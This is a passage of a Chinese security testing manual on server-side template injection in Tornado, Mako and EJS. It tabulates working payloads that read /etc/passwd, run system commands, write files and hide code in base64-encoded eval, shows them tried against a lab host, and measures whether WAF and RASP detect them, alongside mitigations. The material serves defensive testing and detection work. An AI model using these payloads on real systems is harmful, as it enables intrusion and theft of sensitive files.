- 开发者禁止将敏感目录(代码目录、应用配置目录等)添加到settings内的TEMPLATES列表中。
- 更新Django版本至最新版本。
- WEB应用使用低权限账户运行。
4.5.5检测方法
- 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
- WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
- 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。
4.6tornado模板注入 T1190.014.006
4.6.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,由于tornado对模板语法并没有严格的过滤,所以比起常见模板可以更简单的执行一些高危操作,tornado下SSTI漏洞可造成的危害。
a) 文件读取
tornado在模板中并不会对表达式做限制,这点在官方手册有相关描述,所以可以直接通过,open方法来读取文件。
b) 命令执行
通过import导入os库,之后通过os库执行系统命令,详细细节请参照3.5.3。
4.6.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.006.001 | 漏洞检测 | {{123*321}} | 是否输出39483 |
T1190.014.006.002 | 信息泄露 | {{globals()}} | |
T1190.014.006.003 | 文件读取 | {{open("/etc/passwd").read()}} | |
T1190.014.006.004 | 文件读取 | {% raw open("/etc/passwd").read() %} | |
T1190.014.006.005 | 文件读取 | {{eval("b3BlbigiL2V0Yy9wYXNzd2QiKS5yZWFkKCk=".decode("base64"))}} | |
T1190.014.006.006 | 文件读取 | {{[].class.bases[0].subclasses()[75].init.globals"open".read()}} | |
T1190.014.006.007 | 文件读取 | {% raw [].class.bases[0].subclasses()[75].init.globals"open".read() %} | |
T1190.014.006.008 | 文件读取 | {{ ''.class.mro[2].subclasses()40.read() }} | |
T1190.014.006.009 | 文件读取 | {% raw ''.class.mro[2].subclasses()40.read() %} | |
T1190.014.006.010 | 命令执行 | {{[].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()")}} | |
T1190.014.006.011 | 命令执行 | {% raw [].class.base.subclasses()[60].init.globals'builtins'("import('os').popen('whoami').read()") %} | |
T1190.014.006.012 | 命令执行 | {% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{x()._module.builtins'import'.popen('whoami').read()}} {% end %}{% end %} | |
T1190.014.006.013 | 命令执行 | {{(lambda g: [(os.popen('touch /tmp/successzzzzz').read(), None)[1] for g['os'] in (import('os', g, g))])(globals())}} | 无回显 |
T1190.014.006.014 | 命令执行 | {%import os%}{{os.popen("whoami").read()}} | |
T1190.014.006.015 | 命令执行 | {%import os%}{{eval("b3MucG9wZW4oIndob2FtaSIpLnJlYWQoKQ==".decode("base64"))}} |
4.6.3攻击实例及TTD
4.6.3.1测试过程
访问靶机环境,http://124.70.85.41:8867/?name=test,输入测试用例内检测语句,观察响应页面。
可以看到2*3被成功解析,尝试输入命令执行语句,执行系统命令。
成功执行系统命令,确认存在漏洞。
4.6.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.006.001 | ∞ | RASP环境不支持,未测试,下同。 | |
T1190.014.006.002 | ∞ | ||
T1190.014.006.003 | 1 | ||
T1190.014.006.004 | 1 | ||
T1190.014.006.005 | 1 | ||
T1190.014.006.006 | 1 | ||
T1190.014.006.007 | 1 | ||
T1190.014.006.008 | 1 | ||
T1190.014.006.009 | 1 | ||
T1190.014.006.010 | 1 | ||
T1190.014.006.011 | 1 | ||
T1190.014.006.012 | 1 | ||
T1190.014.006.013 | 1 | ||
T1190.014.006.014 | 1 | ||
T1190.014.006.015 | 1 |
4.6.4缓解措施
- 开发者使用最新版本的tornado。
- 开发者禁止将不可信输入直接拼接到模板中进行解析。
- WEB应用使用低权限账户运行。
4.6.5检测方法
- 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
- WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
- 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。
4.7mako模板注入 T1190.014.007
4.7.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,由于mako对模板语法并没有严格的过滤,所以可以很简单的执行一些高危操作,mako下SSTI漏洞可造成的危害。
a) 文件读取
在mako环境下,可以直接使用open方法来读取文件。
b) 命令执行
mako模板本身支持代码块功能,并且是可以编写原生python代码,在官方手册给出的实例内可以看到使用import,这就代表可以直接引入第三方库。所以可以直接导入os库,然后达到命令执行的目的。
4.7.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.007.001 | 漏洞检测 | ${123*321} | 判断是否输出39483 |
T1190.014.007.002 | 文件读取 | ${open("/etc/passwd").read()} | |
T1190.014.007.003 | 命令执行 | <%! import os%>${os.popen("whoami").read()} | |
T1190.014.007.004 | <%import osx=os.popen('id').read()%>${x} |
4.7.3攻击实例及TTD
4.7.3.1测试过程
访问靶场环境,http://124.70.85.41:8866/
然后使用测试用例内的检测语句进行尝试,可以看到表达式成功被解析。
之后使用命令执行语句进行尝试。
系统命令成功执行。
4.7.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.007.001 | ∞ | RASP环境不支持,未测试,下同。 | |
T1190.014.007.002 | 1 | ||
T1190.014.007.003 | 1 | ||
T1190.014.007.004 | 1 |
4.7.4缓解措施
- 开发者使用最新版本的mako。
- 开发者禁止将不可信输入直接拼接到模板中进行解析。
- WEB应用使用低权限账户运行。
4.7.5检测方法
- 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
- WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
- 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。
4.8ejs模板注入 T1190.014.008
4.8.1漏洞成因
WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以控制模板在渲染前的模板内容,在node环境下,ejs的SSTI漏洞可造成的危害如下。
a) 文件读取
通过引入fs,可以对文件进行读取操作。读取passwd文件。
b) 文件写入
通过引入fs,可以对文件进行写入操作。写入1.html文件。
登录服务器查看文件。
c) 命令执行
通过child_process,执行系统命令。
4.8.2测试用例
测试ID | 类型 | 测试用例 | 备注 |
T1190.014.008.001 | 漏洞检测 | <%=123*321%> | 判断是否输出39483 |
T1190.014.008.002 | 文件读取 | <%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString();%> | |
T1190.014.008.003 | 文件写入 | <%=global.process.mainModule.require('fs').appendFileSync('./1.html','test','binary')%> | |
T1190.014.008.004 | 命令执行 | <%=global.process.mainModule.require('child_process').execSync('whoami').toString();%> |
4.8.3攻击实例及TTD
4.8.3.1测试过程
访问靶场地址:http://124.70.85.41:8086/,
然后使用测试用例内的检测语句进行尝试,表达式被成功解析。
然后尝试执行系统命令的语句。
系统命令,成功执行。
4.8.3.2TTD
单位:秒,无法检测:∞
用例ID | RASP | WAF | 备注 |
T1190.014.008.001 | ∞ | RASP环境不支持,未测试,下同。 | |
T1190.014.008.002 | 1 | WAF检测到的是本地文件包含攻击。 | |
T1190.014.008.003 | ∞ | ||
T1190.014.008.004 | ∞ |
4.8.4缓解措施
- 开发者使用最新版本的ejs。
- 开发者禁止将不可信输入直接拼接到模板中进行解析。
- WEB应用使用低权限账户运行。
4.8.5检测方法
- 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
- WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
- 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。
5总结
整体总结,包括但不限于对整个文档中涉及的攻击方法,缓解/检测措施。约束,限制等的归纳性结论。具体根据需要来描述。
模板注入产生的最主要原因是因为开发者错误的使用模板语言,将不可信来源的输入直接传入到模板引擎中进行解析,进而导致模板注入的发生,因此一方面需要规范开发者使用模板时的规范,提供标准使用模板的方式,另一方面通过白盒审计的方式,通过对代码进行语法分析,判断模板内容是否可控,通过这两种方式即可极大的减少模板注入漏洞的产生。
对于检测来说,模板注入漏洞通常Payload有较为明显的特征,因此可以通过这些特征去完善WAF检测规则,模板注入的危害通常是导致代码执行,具体的危害根据攻击者执行代码的内容来确定,对于比较敏感的行为如命令执行或者文件读取等,可以通过HIPS或者RASP进行检测,但是对于一些不是特别敏感的行为,如仅获取敏感信息,对于这类行为不是很好检测,因此RASP在防御中,还是需要去对模板注入触发的函数进行打点,并进行分析。